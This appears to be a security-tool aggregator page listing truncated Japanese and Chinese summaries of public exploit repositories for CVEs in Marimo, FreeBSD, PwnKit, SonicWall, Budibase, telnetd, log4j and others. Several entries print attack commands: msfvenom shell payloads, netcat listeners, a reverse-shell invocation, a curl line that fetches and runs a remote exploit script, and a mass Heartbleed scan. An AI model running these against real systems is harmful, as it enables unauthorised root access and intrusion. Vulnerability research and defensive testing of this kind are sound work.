CVE-2026-39987

CVE-2026-39987 — Marimo Pythonノートブックの事前認証リモートコード実行 TL;DR Marimo （データサイエンスおよびAI/ML向けのオープンソースPythonノートブック）における事前認証リモートコード実行 の脆弱性。ターミナルWebSocketエンドポイント（/terminal/ws）は認証検証を完全にスキップ する一方、隣接するノートブックエンドポイント（/ws）は正しく認証を強制します。認証されていない攻撃者は/terminal/wsに接続し、資格情報なしでホストシステム上で完全な対話型PTYシェル を取得できます。 開示から10時間以内...

CVE-2026-4747

root@kitploit: / /\ \ / / | | \ / \ \ \ \ | || | || || \ | | \ \ / /| | | | | | | \ \ | | / /| || | | | | \ V / | ||| / /| || / / \ \ | || | / / | |/ / | / | ||/| \ / // |||| CVE-2026-4747 — FreeBSD リモートカーネルRCE kgssapi.ko のスタックバッファオーバーフロー → 約4時間でルートシェル...

CVE-2021-4034

Python3コードでCVE-2021-4034 PWNKITを悪用します。 これは「これをPythonで動かせるか？」という演習であり、堅牢なエクスプロイトを意図したものではありません。私の環境では動作しますが、おそらくバグがあります。 デフォルトのペイロードはmsfvenomから生成されたrootとしてのシェルを起動します: root@kitploit: msfvenom -p linux/x64/exec -f elf-so PrependSetuid=true | base64...

badblood

Bad Blood Bad Blood は、CVE-2021-20038 のエクスプロイトです。これは、ファームウェアバージョン 10.2.1.x を使用する SMA-100 シリーズシステムの httpd バイナリにおけるスタックベースのバッファオーバーフローです。技術的な詳細の多くは、以下の場所に記載しています: AttackerKB CVE-2021-20038 このエクスプロイトは、書かれたとおり、ポート 1270 で telnet バインドシェルを開きます。シェルに接続した攻撃者は、nobody として実行を達成します。 出力例...

CVE-2026-73570

CVE-2026-73570 PoC - SMTPコマンドインジェクションテスター SMTPコマンドインジェクションの脆弱性（CVE-2026-73570）をテストするための、カスタムの低レベルPython概念実証（PoC）スクリプトです。 このツールは、シェル形式のコマンド置換（例：$command）を含む不正なRCPT TOアドレスを送信し、対象のメールサーバーまたはその下流の処理パイプラインが、サニタイズなしでアドレスをシェルに渡していないかを判定します。 ⚠️ 免責事項：...

CVE-2026-31816-rshell

CVE-2026-31816 リバースシェルエクスプロイト 概要 このツールはCVE-2026-31816を悪用して、標的のBudibaseサーバーにリバースシェル接続を確立します。 攻撃チェーン : 認証バイパス → DATASOURCEプラグインのアップロード → サーバーサイドコード実行 → リバースシェル 要件 Python 3.6以上 requestsライブラリ（pip install requests） CVE-2026-31816の影響を受ける標的Budibaseサーバー 使用方法 基本手順 root@kitploit: 1. 攻撃者マシンでリスナーを起動 nc -lvnp...

heartbleed-test

root@kitploit: $ python getwebsiteurls.py "searchstring" websites.txt $ sh heartbleed-test.sh websites.txt | tee -a scanresult.log...

CVE-2025-54123

CVE-2025-54123 Hoverfly CVE リモートコード実行 使用方法 コマンド実行: root@kitploit: python3 CVE-2025-54123.py -u $USER -p $PASS -t "http://example.com:8888" -c whoami リバースシェル: root@kitploit: nc -lvnp 443 root@kitploit: python3 CVE-2025-54123.py -u $USER -p $PASS -t "http://example.com:8888" -r $IP 443 免責事項...

CVE-2026-39987

CVE-2026-39987 — Marimo 事前認証RCE 教育および許可されたセキュリティ研究目的のみに使用してください。 説明 Marimo = 0.20.4 における事前認証リモートコード実行。 WebSocket エンドポイント /terminal/ws は認証検証をスキップするため、認証されていない攻撃者が単一の接続で完全な対話型 PTY シェルを取得できます。 CVSS v4.0: 9.3 Critical CWE: CWE-306 重要な機能に対する認証の欠如 影響を受けるバージョン: = 0.20.4 修正済みバージョン: 0.23.0 要件 Python 3...

marimo_CVE-2026-39987_RCE_PoC

CVE-2026-39987 - Marimo 此脚本仅用于教育目的和授权测试。 未经明确许可，将此工具用于针对系统的未授权使用是违法的。 作者不对滥用此信息的行为承担任何责任。 📋 描述 Marimo 0.23.0 之前的版本存在一个严重的无需预先认证的远程代码执行（RCE）漏洞。/terminal/ws 端点未实施适当的访问控制，允许未认证的攻击者获得系统的完整交互式 shell。 详情| 信息 ---|--- CVE| CVE-2026-39987 严重性| 严重 CVSS 评分| 9.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA...

CVE-2026-26331

yt-dlp の --netrc-cmd を介した任意コマンドインジェクション 深刻度: 高 CVSS 8.8 影響を受けるソフトウェア: yt-dlp = 2023.06.21、 修正バージョン: 2026.02.21 アドバイザリ: GHSA-g3gw-q23r-pgqm CVE: CVE-2026-26331 概要 yt-dlp の --netrc-cmd コマンドラインオプション（または Python API パラメータ netrccmd）は、悪意を持って細工された URL...

CVE-2026-24061---telnetd

CVE-2026-24061 – telnetd 🔥 説明 CVE-2026-24061 は、特定の telnetd 実装に影響を与える重大な脆弱性であり、 認証バイパス と、有効な認証情報なしでのリモート root シェル の取得を可能にします。 このリポジトリは、脆弱なシステムを検出するための Proof of Concept PoC を提供します。 ⚠️ 影響 認証バイパス 不正な root アクセス リモートからの悪用 システムの完全な侵害 🎯 影響を受ける可能性のあるシステム ルーター / モデム IoT 機器 組み込みファームウェア telnetd を公開しているシステム...

tscan

Telnetd 認証バイパススキャナー CVE-2026-24061 GNU Inetutils telnetd サービスにおける CVE-2026-24061 脆弱性を検出・悪用するための Python ベースのスキャナーです。このツールは、認証バイパスによる root シェルアクセスを許す脆弱な telnetd サービスを、IP アドレスまたはネットワークに対してスキャンします。 ⚠️ 重要な法的通知および免責事項 本ソフトウェアは、教育目的および許可されたセキュリティテスト目的でのみ提供されます。 1. 教育目的...

CVE-2025-29009

CVE-2025-29009 WooCommerce用WordPressプラグイン「Medical Prescription Attachment Plugin」= 1.2.3 は、高優先度の任意ファイルアップロードの脆弱性の影響を受けます CVE-2025-29009 Webkul Medical Prescription Attachment — 無制限ファイルアップロード → Webシェル root@kitploit: ,-. . , ,--. ,-. ,-. ,-. ;--' ,-. ,-. ,-. ,-. ,-. / | / | / /\ | / /\ / /\ | | / |...

log4j-exploit-builder

log4j-exploit-builder log4j（CVE-2021-44228）のエクスプロイトを作成するスクリプト。リバースシェルを取得するためのさまざまな方法に対応しています。 注: このコードは急いで作成されたものであり、今後改善される予定です。...

CVE-2021-4034

CVE-2021-4034 BashスクリプトにおけるCVE-2021-4034 使用方法： source curl -s https://raw.githubusercontent.com/azminawwar/CVE-2021-4034/main/exploit.sh...

CVE-2026-24061

CVE-2026-24061 — inetutils-telnetd 認証バイパス GNU inetutils-telnetd の認証バイパス脆弱性に対する概念実証エクスプロイト。 概要 CVE-2026-24061 は、inetutils-telnetd バージョン 1.9.3 から 2.7 に影響する重大な認証バイパス脆弱性です。これにより、リモートの攻撃者は資格情報を一切提供することなく、脆弱なシステム上で root シェルを取得できます。 脆弱性の詳細...

CVE-2026-21510-CVSS-8.8-Important-Windows-Shell-security-feature-bypass

CVE-2026-21510 - Windows Shell セキュリティ機能バイパスの脆弱性 リポジトリタイトルの提案: CVE-2026-21510-Windows-Shell-Bypass-Analysis このREADMEは、Microsoftが2026年2月のPatch Tuesdayリリースで修正した、深刻度が高く、実際に悪用されているゼロデイ脆弱性である CVE-2026-21510...

spinnaker-poc

Spinnaker 脆弱性 POC CVE-2026-32604 および CVE-2026-32613 の概念実証デモです。これらは Spinnaker における深刻度 10.0 の脆弱性で、コード実行と本番クラウド認証情報の窃取を可能にします。 これらの POC の使い方に関するビデオチュートリアル 詳細な技術ブログ 脆弱性 Git クローンシェルインジェクション CVE-2026-32604, CWE-78 Clouddriver のアーティファクト取得エンドポイントは、HTTP ベースの Git 認証を使用する際に、ユーザー指定のブランチ名をサニタイズせずに sh -c...

CVE-2026-31431-rs

CVE-2026-31431 PoC（copyfail） 構造 root@kitploit: src/ ├── main.rs エクスプロイト: AFALG + splice で /bin/su を上書き └── bin/ └── payload.rs ペイロード ランタイム依存関係がゼロの自己完結型 nostd バイナリ: poc-rs: 4.1 KB（ペイロードは includebytes! で埋め込み） payload: 1.7 KB ビルド Rust 1.85+ が必要: root@kitploit: cargo build --release --bin payload car...